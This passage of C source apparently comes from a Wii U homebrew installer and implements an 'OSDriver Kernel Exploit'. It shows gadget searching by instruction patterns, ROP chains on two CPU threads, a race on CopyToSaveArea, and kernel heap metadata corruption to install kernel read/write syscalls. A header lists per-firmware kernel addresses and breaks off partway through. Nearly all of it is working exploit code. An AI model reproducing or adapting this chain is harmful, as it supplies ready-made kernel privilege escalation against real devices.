OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
/* OSDriver functions */
uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020};
uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit);
uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020};
uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit);
uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020};
uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit);
uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020};
uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit);
/* GX2 functions */
void (*GX2SetSemaphore)(uint64_t *sem, int action);
void (*GX2Flush)(void);
OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", &GX2SetSemaphore);
OSDynLoad_FindExport(gx2_handle, 0, "GX2Flush", &GX2Flush);
/* Allocate space for DRVHAX */
uint32_t *drvhax = OSAllocFromSystem(0x4c, 4);
/* Set the kernel heap metadata entry */
uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE));
metadata[0] = (uint32_t)drvhax;
metadata[1] = (uint32_t)-0x4c;
metadata[2] = (uint32_t)-1;
metadata[3] = (uint32_t)-1;
/* Find some gadgets */
uint32_t gx2data[] = {0xfc2a0000};
uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000);
uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020};
uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, 0x01000000);
uint32_t r30r31load[] = {0x80010014, 0x83e1000c, 0x7c0803a6, 0x83c10008, 0x38210010, 0x4e800020};
uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, 0x01000000);
uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024};
uint32_t doflush_addr = (uint32_t) find_gadget(doflush, 0x2C, 0x01000000) + 0x14 + 0x18;
/* Modify a next ptr on the heap */
uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET;
/* Make a thread to modify the semaphore */
OSContext *thread = (OSContext*)private_data->MEMAllocFromDefaultHeapEx(0x1000,8);
uint32_t *stack = (uint32_t*)private_data->MEMAllocFromDefaultHeapEx(0xa0,0x20);
if (!OSCreateThread(thread, (void*)0x11a1dd8, 0, NULL, ((uint32_t)stack) + 0xa0, 0xa0, 0, 0x1 | 0x8)) OSFatal("Failed to create thread");
/* Set up the ROP chain */
thread->gpr[1] = (uint32_t)stack;
thread->gpr[3] = kpaddr;
thread->gpr[30] = gx2data_addr;
thread->gpr[31] = 1;
thread->srr0 = ((uint32_t)GX2SetSemaphore) + 0x2C;
stack[0x24/4] = r30r31load_addr; /* Load r30/r31 - stack=0x20 */
stack[0x28/4] = gx2data_addr; /* r30 = GX2 data area */
stack[0x2c/4] = 1; /* r31 = 1 (signal) */
stack[0x34/4] = r3r4load_addr; /* Load r3/r4 - stack=0x30 */
stack[0x38/4] = kpaddr;
stack[0x44/4] = ((uint32_t)GX2SetSemaphore) + 0x2C; /* GX2SetSemaphore() - stack=0x40 */
stack[0x64/4] = r30r31load_addr; /* Load r30/r31 - stack=0x60 */
stack[0x68/4] = 0x100; /* r30 = r3 of do_flush = 0x100 */
stack[0x6c/4] = 1; /* r31 = r4 of do_flush = 1 */
stack[0x74/4] = doflush_addr; /* do_flush() - stack=0x70 */
stack[0x94/4] = (uint32_t)OSExitThread;
DCFlushRange(stack, 0xa0);
DCFlushRange(thread, 0x1000);
/* Start the thread */
OSResumeThread(thread);
/* Wait for a while */
while(OSIsThreadTerminated(thread) == 0)
{
asm volatile (
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
);
}
/* Free stuff */
private_data->MEMFreeToDefaultHeap(thread);
private_data->MEMFreeToDefaultHeap(stack);
/* Register a new OSDriver, DRVHAX */
char drvname[8] = {'D', 'R', 'V', 'H', 'A', 'X', '\0'};
Register(drvname, 6, NULL, NULL);
/* Modify its save area to point to the kernel syscall table */
drvhax[0x44/4] = KERN_SYSCALL_TBL + (0x34 * 4);
/* Use DRVHAX to install the read and write syscalls */
uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE};
CopyToSaveArea(drvname, 6, syscalls, 8);
/* Clean up the heap and driver list so we can exit */
kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0);
kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]);
/* Modify the kernel address table and exit */
//kern_write(KERN_ADDRESS_TBL + 0x12, 0x31000000);
//kern_write(KERN_ADDRESS_TBL + 0x13, 0x28305800);
}
#else
typedef struct
{
char *drvb_name;
void *copy_payload;
void *thread0;
void *thread2;
uint32_t *rop0;
uint32_t *rop2;
void (*OSYieldThread)(void);
int32_t (*OSResumeThread)(void * thread);
uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length);
} thread_data_container_t;
static void thread_callback(int argc, void *argv)
{
thread_data_container_t *container = (thread_data_container_t*)argv;
container->OSYieldThread();
/* Schedule both threads for execution */
container->OSResumeThread(container->thread0);
container->OSResumeThread(container->thread2);
/* Signal the CPU0 and CPU2 threads to begin */
container->rop0[0x1fc/4] = 0;
container->rop2[0x1ac/4] = 0;
container->OSYieldThread();
container->CopyToSaveArea(container->drvb_name, 4, container->copy_payload, 0x1000);
}
/* Initial setup code stolen from Pong, makes race much more reliable */
void run_kexploit(private_data_t *private_data)
{
unsigned int coreinit_handle, sysapp_handle;
OSDynLoad_Acquire("coreinit", &coreinit_handle);
OSDynLoad_Acquire("sysapp", &sysapp_handle);
//needed to not destroy screen
doBrowserShutdown(coreinit_handle);
//prints out first message as well
setupOSScreen(coreinit_handle);
if(KERN_SYSCALL_TBL == 0)
{
printOSScreenMsg(coreinit_handle, "Your kernel version has not been implemented yet.",1);
wait(coreinit_handle, 0x3FFFF);
exitOSScreen(coreinit_handle);
}
//OS Memory functions
void*(*memset)(void *dest, uint32_t value, uint32_t bytes);
void*(*memcpy)(void *dest, void *src, uint32_t length);
void*(*OSAllocFromSystem)(uint32_t size, int align);
void (*OSFreeToSystem)(void *ptr);
void (*DCFlushRange)(void *buffer, uint32_t length);
void (*DCInvalidateRange)(void *buffer, uint32_t length);
void (*ICInvalidateRange)(void *buffer, uint32_t length);
/* OS thread functions */
bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr);
int32_t (*OSResumeThread)(void *thread);
int32_t (*OSGetThreadPriority)(void *thread);
void * (*OSGetCurrentThread)(void);
void (*OSYieldThread)(void);
int (*OSIsThreadTerminated)(void *thread);
/* Exit functions */
void (*__PPCExit)();
void (*_Exit)();
int(*SYSSwitchToBrowser)(void *args);
int(*SYSLaunchSettings)(void *args);
/* Read the addresses of the functions */
OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset);
OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &memcpy);
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange);
OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &ICInvalidateRange);
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSGetThreadPriority", &OSGetThreadPriority);
OSDynLoad_FindExport(coreinit_handle, 0, "OSGetCurrentThread", &OSGetCurrentThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit);
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
OSDynLoad_FindExport(sysapp_handle, 0, "SYSSwitchToBrowser", &SYSSwitchToBrowser);
OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchSettings", &SYSLaunchSettings);
/* Allocate a stack for the threads */
uint32_t stack0 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20);
uint32_t stack2 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20);
uint32_t stack1 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20);
/* Create the threads */
void *thread0 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8);
bool ret0 = OSCreateThread(thread0, _Exit, 0, NULL, stack0 + 0x300, 0x300, 0, 1 | 0x10 | 8);
void *thread2 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8);
bool ret2 = OSCreateThread(thread2, _Exit, 0, NULL, stack2 + 0x300, 0x300, 0, 4 | 0x10 | 8);
void *thread1 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8);
if (ret0 == false || ret2 == false)
{
printOSScreenMsg(coreinit_handle, "Failed to create threads! Please try again.",1);
wait(coreinit_handle, 0x3FFFF);
exitOSScreen(coreinit_handle);
}
printOSScreenMsg(coreinit_handle, "Running Exploit...",1);
/* Find a bunch of gadgets */
uint32_t sleep_addr;
OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &sleep_addr);
sleep_addr += 0x44;
uint32_t sigwait[] = {0x801F0000, 0x7C0903A6, 0x4E800421, 0x83FF0004, 0x2C1F0000, 0x4082FFEC, 0x80010014, 0x83E1000C, 0x7C0803A6, 0x38210010, 0x4E800020};
uint32_t sigwait_addr = (uint32_t) find_gadget(sigwait, 0x2c, (uint32_t) __PPCExit);
uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020};
uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, (uint32_t) __PPCExit);
uint32_t r5load[] = {0x80A10008, 0x38210010, 0x7CA32B78, 0x80810004, 0x7C8803A6, 0x4E800020};
uint32_t r5load_addr = (uint32_t) find_gadget(r5load, 0x18, (uint32_t) __PPCExit);
uint32_t r6load[] = {0x80C10014, 0x90610010, 0x80010010, 0x915E002C, 0x81210008, 0x901E0030, 0x913E0028, 0x90DE0034, 0x80010034, 0x83E1002C, 0x7C0803A6, 0x83C10028, 0x38210030, 0x4E800020};
uint32_t r6load_addr = (uint32_t) find_gadget(r6load, 0x38, (uint32_t) __PPCExit);
uint32_t r30r31load[] = {0x80010034, 0x83E1002C, 0x7C0803A6, 0x83C10028, 0x38210030, 0x4E800020};
uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, (uint32_t) __PPCExit);
/* Find the OSDriver functions */
uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020};
uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit);
uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020};
uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit);
uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020};
uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit);
uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020};
uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit);
/* Set up the ROP chain for CPU0 */
OSContext *ctx0 = (OSContext*) thread0;
uint32_t *rop0 = (uint32_t*) stack0;
ctx0->gpr[1] = stack0 + 0x80;
ctx0->gpr[28] = 0;
ctx0->gpr[29] = CPU0_WAIT_TIME * 2;
ctx0->gpr[31] = stack0 + 0x1f8;
ctx0->srr0 = sigwait_addr + 0xc;
rop0[0x94/4] = sleep_addr;
rop0[0x114/4] = r3r4load_addr;
rop0[0x118/4] = stack0 + 0x208;
rop0[0x11c/4] = 4;
rop0[0x124/4] = r30r31load_addr;
rop0[0x14c/4] = stack0 + 0x220;
rop0[0x154/4] = sigwait_addr;
rop0[0x164/4] = r5load_addr;
rop0[0x168/4] = stack0 + 0x218;
rop0[0x174/4] = r3r4load_addr;
rop0[0x178/4] = stack0 + 0x210;
rop0[0x17c/4] = 4;
rop0[0x184/4] = r30r31load_addr;
rop0[0x1a8/4] = stack0 + 0x230;
rop0[0x1b4/4] = r6load_addr;
rop0[0x1c4/4] = stack0 + 0x21c;
rop0[0x1dc/4] = stack0 + 0x228;
rop0[0x1e4/4] = sigwait_addr;
rop0[0x1f4/4] = sigwait_addr + 0x28;
rop0[0x1f8/4] = sigwait_addr + 0xc;
rop0[0x1fc/4] = stack0 + 0x1f8;
rop0[0x200/4] = 0;
rop0[0x204/4] = 0;
rop0[0x208/4] = 0x44525642;
rop0[0x20c/4] = 0;
rop0[0x210/4] = 0x44525643;
rop0[0x214/4] = 0;
rop0[0x218/4] = 0;
rop0[0x21c/4] = 0;
rop0[0x220/4] = (uint32_t)Deregister;
rop0[0x224/4] = 0;
rop0[0x228/4] = (uint32_t)Register;
rop0[0x22c/4] = 0;
/* Set up the ROP chain for CPU2 */
OSContext *ctx2 = (OSContext*) thread2;
uint32_t *rop2 = (uint32_t*) stack2;
ctx2->gpr[1] = stack2 + 0x80;
ctx2->gpr[28] = 0;
ctx2->gpr[29] = CPU2_WAIT_TIME * 4;
ctx2->gpr[31] = stack2 + 0x1a8;
ctx2->srr0 = sigwait_addr + 0xc;
rop2[0x94/4] = sleep_addr;
rop2[0x114/4] = r5load_addr;
rop2[0x118/4] = stack2 + 0x204;
rop2[0x124/4] = r3r4load_addr;
rop2[0x128/4] = stack2 + 0x1b8;
rop2[0x12c/4] = 4;
rop2[0x134/4] = r30r31load_addr;
rop2[0x158/4] = stack2 + 0x1c8;
rop2[0x164/4] = r6load_addr;
rop2[0x174/4] = 4;
rop2[0x18c/4] = stack2 + 0x1c0;
rop2[0x194/4] = sigwait_addr;
rop2[0x1a4/4] = sigwait_addr + 0x28;
rop2[0x1a8/4] = sigwait_addr + 0xc;
rop2[0x1ac/4] = stack2 + 0x1a8;
rop2[0x1b0/4] = 0;
rop2[0x1b4/4] = 0;
rop2[0x1b8/4] = 0x44525641;
rop2[0x1bc/4] = 0;
rop2[0x1c0/4] = (uint32_t)CopyToSaveArea;
rop2[0x1c4/4] = 0;
rop2[0x204/4] = 0xDEADC0DE;
/* Register driver A and driver B */
char *drva_name = private_data->MEMAllocFromDefaultHeapEx(8, 4);
memcpy(drva_name, "DRVA", 5);
char *drvb_name = private_data->MEMAllocFromDefaultHeapEx(8, 4);
memcpy(drvb_name, "DRVB", 5);
uint32_t status = Register(drva_name, 4, NULL, NULL) | Register(drvb_name, 4, NULL, NULL);
if (status != 0)
{
printOSScreenMsg(coreinit_handle, "Register() of driver A and B failed! Reloading kernel...",2);
wait(coreinit_handle, 0x3FFFF);
callSysExit(coreinit_handle,SYSLaunchSettings);
exitOSScreen(coreinit_handle);
}
/* Generate the copy payload, which writes to syscall_table[0x34] */
uint32_t *copy_payload = OSAllocFromSystem(0x1000, 0x20);
if (!copy_payload)
{
printOSScreenMsg(coreinit_handle, "Failed to allocate payload! Reloading kernel...",2);
wait(coreinit_handle, 0x3FFFF);
callSysExit(coreinit_handle,SYSLaunchSettings);
exitOSScreen(coreinit_handle);
}
copy_payload[0] = 0x01234567;
copy_payload[0xfb4/4] = 0x44525648;
copy_payload[0xfb8/4] = 0x41580000;
copy_payload[0xff4/4] = PFID_BROWSER;
copy_payload[0xff8/4] = KERN_SYSCALL_TBL + (0x34 * 4);
DCFlushRange(copy_payload, 0x1000);
DCInvalidateRange(copy_payload, 0x1000);
char *drvhax_name = private_data->MEMAllocFromDefaultHeapEx(8, 4);
drvhax_name[7] = 0;
memcpy(drvhax_name, "DRVHAX", 7);
uint32_t *syscalls = private_data->MEMAllocFromDefaultHeapEx(8, 4);
syscalls[0] = KERN_CODE_READ;
syscalls[1] = KERN_CODE_WRITE;
/* Do a dummy copy to put CopyToSaveArea() in our cache */
CopyToSaveArea(drvb_name, 4, (void*)0xC0000004, 4);
thread_data_container_t container;
container.drvb_name = drvb_name;
container.copy_payload = copy_payload;
container.rop0 = rop0;
container.rop2 = rop2;
container.thread0 = thread0;
container.thread2 = thread2;
container.OSResumeThread = OSResumeThread;
container.OSYieldThread = OSYieldThread;
container.CopyToSaveArea = CopyToSaveArea;
bool ret3 = OSCreateThread(thread1, thread_callback, 1, &container, stack1 + 0x300, 0x300, OSGetThreadPriority(OSGetCurrentThread()), 2 | 0x10 | 8);
OSYieldThread();
/* Schedule both threads for execution */
//OSResumeThread(thread0);
//OSResumeThread(thread2);
OSResumeThread(thread1);
/* Signal the CPU0 and CPU2 threads to begin */
//rop2[0x1ac/4] = 0;
//rop0[0x1fc/4] = 0;
/* Start copying the payload into driver B's save area */
//CopyToSaveArea(drvb_name, 4, copy_payload, 0x1000);
/* The amount of instructions in this loop and the sleep ticks of the other cores can decide whether its a success or not */
while(OSIsThreadTerminated(thread1) == 0)
{
asm volatile (
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
);
OSYieldThread();
}
/* Use DRVHAX to install the read and write syscalls */
status = CopyToSaveArea(drvhax_name, 6, syscalls, 8);
/* Verify that the syscalls were installed */
uint32_t result = 42;
status = CopyFromSaveArea(drvhax_name, 6, &result, 4);
if (result != KERN_CODE_READ)
{
printOSScreenMsg(coreinit_handle, "Race attack failed! Reloading kernel...",2);
wait(coreinit_handle, 0x3FFFF);
callSysExit(coreinit_handle,SYSLaunchSettings);
exitOSScreen(coreinit_handle);
}
/* Search the kernel heap for DRVA and DRVHAX */
uint32_t drva_addr = 0, drvhax_addr = 0;
uint32_t metadata_addr = KERN_HEAP + 0x14 + (kern_read((void*)(KERN_HEAP + 0x0c)) * 0x10);
while (metadata_addr >= KERN_HEAP + 0x14)
{
/* Read the data address from the metadata, then read the data */
uint32_t data_addr = kern_read((void*)metadata_addr);
uint32_t data = kern_read((void*)data_addr);
/* Check for DRVA or DRVHAX, and if both are found, break */
if (data == 0x44525641) drva_addr = data_addr;
else if (data == 0x44525648) drvhax_addr = data_addr;
if (drva_addr && drvhax_addr) break;
/* Go to the previous metadata entry */
metadata_addr -= 0x10;
}
if (!(drva_addr && drvhax_addr))
{
printOSScreenMsg(coreinit_handle, "Failed to find DRVA or DRVHAX! Reloading kernel...",2);
wait(coreinit_handle, 0x3FFFF);
callSysExit(coreinit_handle,SYSLaunchSettings);
exitOSScreen(coreinit_handle);
}
/* Make DRVHAX point to DRVA to ensure a clean exit */
kern_write((void*)(drvhax_addr + 0x48), drva_addr);
private_data->MEMFreeToDefaultHeap(thread0);
private_data->MEMFreeToDefaultHeap(thread1);
private_data->MEMFreeToDefaultHeap(thread2);
private_data->MEMFreeToDefaultHeap((void*)stack0);
private_data->MEMFreeToDefaultHeap((void*)stack1);
private_data->MEMFreeToDefaultHeap((void*)stack2);
//printOSScreenMsg(coreinit_handle, "Success! Re-launch HBL again...",2);
//wait(coreinit_handle, 0x3FFFF);
//callSysExit(coreinit_handle,SYSSwitchToBrowser);
//exitOSScreen(coreinit_handle);
}
#endif
void wait(unsigned int coreinit_handle, unsigned int t)
{
void (*OSYieldThread)(void);
OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread);
while(t--)
{
OSYieldThread();
}
}
void doBrowserShutdown(unsigned int coreinit_handle)
{
void*(*memset)(void *dest, uint32_t value, uint32_t bytes);
void*(*OSAllocFromSystem)(uint32_t size, int align);
void (*OSFreeToSystem)(void *ptr);
int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b);
int(*IM_Close)(int fd);
int(*IM_Open)();
OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset);
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState);
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close);
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open);
//Restart system to get lib access
int fd = IM_Open();
void *mem = OSAllocFromSystem(0x100, 64);
memset(mem, 0, 0x100);
//set restart flag to force quit browser
IM_SetDeviceState(fd, mem, 3, 0, 0);
IM_Close(fd);
OSFreeToSystem(mem);
//wait a bit for browser end
wait(coreinit_handle, 0x3FFFF);
}
void drawString(unsigned int coreinit_handle, int x, int y, char * string)
{
unsigned int(*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, void * buffer);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx);
OSScreenPutFontEx(0, x, y, string);
OSScreenPutFontEx(1, x, y, string);
}
void fillScreen(unsigned int coreinit_handle, char r,char g,char b,char a)
{
unsigned int(*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx);
uint32_t num = (r << 24) | (g << 16) | (b << 8) | a;
OSScreenClearBufferEx(0, num);
OSScreenClearBufferEx(1, num);
}
void flipBuffers(unsigned int coreinit_handle)
{
void(*DCFlushRange)(void *buffer, uint32_t length);
unsigned int(*OSScreenFlipBuffersEx)(unsigned int bufferNum);
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx);
unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx);
//Grab the buffer size for each screen (TV and gamepad)
int buf0_size = OSScreenGetBufferSizeEx(0);
int buf1_size = OSScreenGetBufferSizeEx(1);
//Flush the cache
DCFlushRange((void *)0xF4000000 + buf0_size, buf1_size);
DCFlushRange((void *)0xF4000000, buf0_size);
//Flip the buffer
OSScreenFlipBuffersEx(0);
OSScreenFlipBuffersEx(1);
}
void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos)
{
int i;
for(i=0;i<2;i++)
{
fillScreen(coreinit_handle, 0,0,0,0);
drawString(coreinit_handle, 0,pos,buf);
flipBuffers(coreinit_handle);
}
}
void setupOSScreen(unsigned int coreinit_handle)
{
void(*OSScreenInit)();
unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum);
unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx);
//Call the Screen initilzation function.
OSScreenInit();
//Grab the buffer size for each screen (TV and gamepad)
int buf0_size = OSScreenGetBufferSizeEx(0);
int buf1_size = OSScreenGetBufferSizeEx(1);
//Set the buffer area.
OSScreenSetBufferEx(0, (void *)0xF4000000);
OSScreenSetBufferEx(1, (void *)0xF4000000 + buf0_size);
//Clear both framebuffers.
int ii;
for (ii = 0; ii < 2; ii++)
{
fillScreen(coreinit_handle, 0,0,0,0);
flipBuffers(coreinit_handle);
}
printOSScreenMsg(coreinit_handle, "OSDriver Kernel Exploit",0);
}
void exitOSScreen(unsigned int coreinit_handle)
{
void (*_Exit)();
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
//exit only works like this
int ii;
for(ii = 0; ii < 2; ii++)
{
fillScreen(coreinit_handle, 0,0,0,0);
flipBuffers(coreinit_handle);
}
_Exit();
}
void callSysExit(unsigned int coreinit_handle, void *sysFunc)
{
void*(*OSAllocFromSystem)(uint32_t size, int align);
bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr);
int32_t (*OSResumeThread)(void *thread);
int (*OSIsThreadTerminated)(void *thread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
uint32_t stack1 = (uint32_t) OSAllocFromSystem(0x300, 0x20);
void *thread1 = OSAllocFromSystem(OSTHREAD_SIZE, 8);
OSCreateThread(thread1, sysFunc, 0, NULL, stack1 + 0x300, 0x300, 0, 0x1A);
OSResumeThread(thread1);
while(OSIsThreadTerminated(thread1) == 0)
{
asm volatile (
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
);
}
}
/* Simple memcmp() implementation */
int memcmp(void *ptr1, void *ptr2, uint32_t length)
{
uint8_t *check1 = (uint8_t*) ptr1;
uint8_t *check2 = (uint8_t*) ptr2;
uint32_t i;
for (i = 0; i < length; i++)
{
if (check1[i] != check2[i]) return 1;
}
return 0;
}
void* memcpy(void* dst, const void* src, uint32_t size)
{
uint32_t i;
for (i = 0; i < size; i++)
((uint8_t*) dst)[i] = ((const uint8_t*) src)[i];
return dst;
}
/* Find a gadget based on a sequence of words */
void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start)
{
uint32_t *ptr;
/* Search code before JIT area first */
for (ptr = (uint32_t*) gadgets_start; ptr != (uint32_t*) JIT_ADDRESS; ptr++)
{
if (!memcmp(ptr, &code[0], length)) return ptr;
}
/* Restart search after JIT */
for (ptr = (uint32_t*) CODE_ADDRESS_START; ptr != (uint32_t*) CODE_ADDRESS_END; ptr++)
{
if (!memcmp(ptr, &code[0], length)) return ptr;
}
OSFatal("Gadget not found!");
return (void*)0;
}
/* Read a 32-bit word with kernel permissions */
uint32_t __attribute__ ((noinline)) kern_read(const void *addr)
{
uint32_t result;
asm volatile (
"li 3,1\n"
"li 4,0\n"
"li 5,0\n"
"li 6,0\n"
"li 7,0\n"
"lis 8,1\n"
"mr 9,%1\n"
"li 0,0x3400\n"
"mr %0,1\n"
"sc\n"
"nop\n"
"mr 1,%0\n"
"mr %0,3\n"
: "=r"(result)
: "b"(addr)
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
"11", "12"
);
return result;
}
/* Write a 32-bit word with kernel permissions */
void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value)
{
asm volatile (
"li 3,1\n"
"li 4,0\n"
"mr 5,%1\n"
"li 6,0\n"
"li 7,0\n"
"lis 8,1\n"
"mr 9,%0\n"
"mr %1,1\n"
"li 0,0x3500\n"
"sc\n"
"nop\n"
"mr 1,%1\n"
:
: "r"(addr), "r"(value)
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
"11", "12"
);
}
================================================
FILE: installer/kexploit.h
================================================
#ifndef KEXPLOIT_H
#define KEXPLOIT_H
#include "structs.h"
#include "types.h"
#include "coreinit.h"
#include "socket.h"
/* Wait times for CPU0 and CPU2 */
#define CPU0_WAIT_TIME 80
#define CPU2_WAIT_TIME 92
/* Gadget finding addresses */
#define JIT_ADDRESS 0x01800000
#if (VER == 300 || VER == 310)
#define CODE_ADDRESS_START 0x0E000000
#define CODE_ADDRESS_END 0x10000000
#else
#define CODE_ADDRESS_START 0x0D800000
#define CODE_ADDRESS_END 0x0F848A0C
#endif
/* Kernel addresses, stolen from Chadderz */
#define KERN_HEAP 0xFF200000
#define KERN_HEAP_PHYS 0x1B800000
#if VER == 200
#define KERN_SYSCALL_TBL 0xFFE85910
#define KERN_CODE_READ 0xFFF02214
#define KERN_CODE_WRITE 0xFFF02234
#define KERN_ADDRESS_TBL 0xFFEB4E00
#define KERN_DRVPTR 0x00000000
#elif VER == 210
#define KERN_SYSCALL_TBL 0xFFE85910
#define KERN_CODE_READ 0xFFF02214
#define KERN_CODE_WRITE 0xFFF02234
#define KERN_ADDRESS_TBL 0xFFEB4E40
#define KERN_DRVPTR 0x00000000
#elif VER == 300
#define KERN_SYSCALL_TBL 0xFFE85950
#define KERN_CODE_READ 0xFFF02214
#define KERN_CODE_WRITE 0xFFF02234
#define KERN_ADDRESS_TBL 0xFFEB66E4
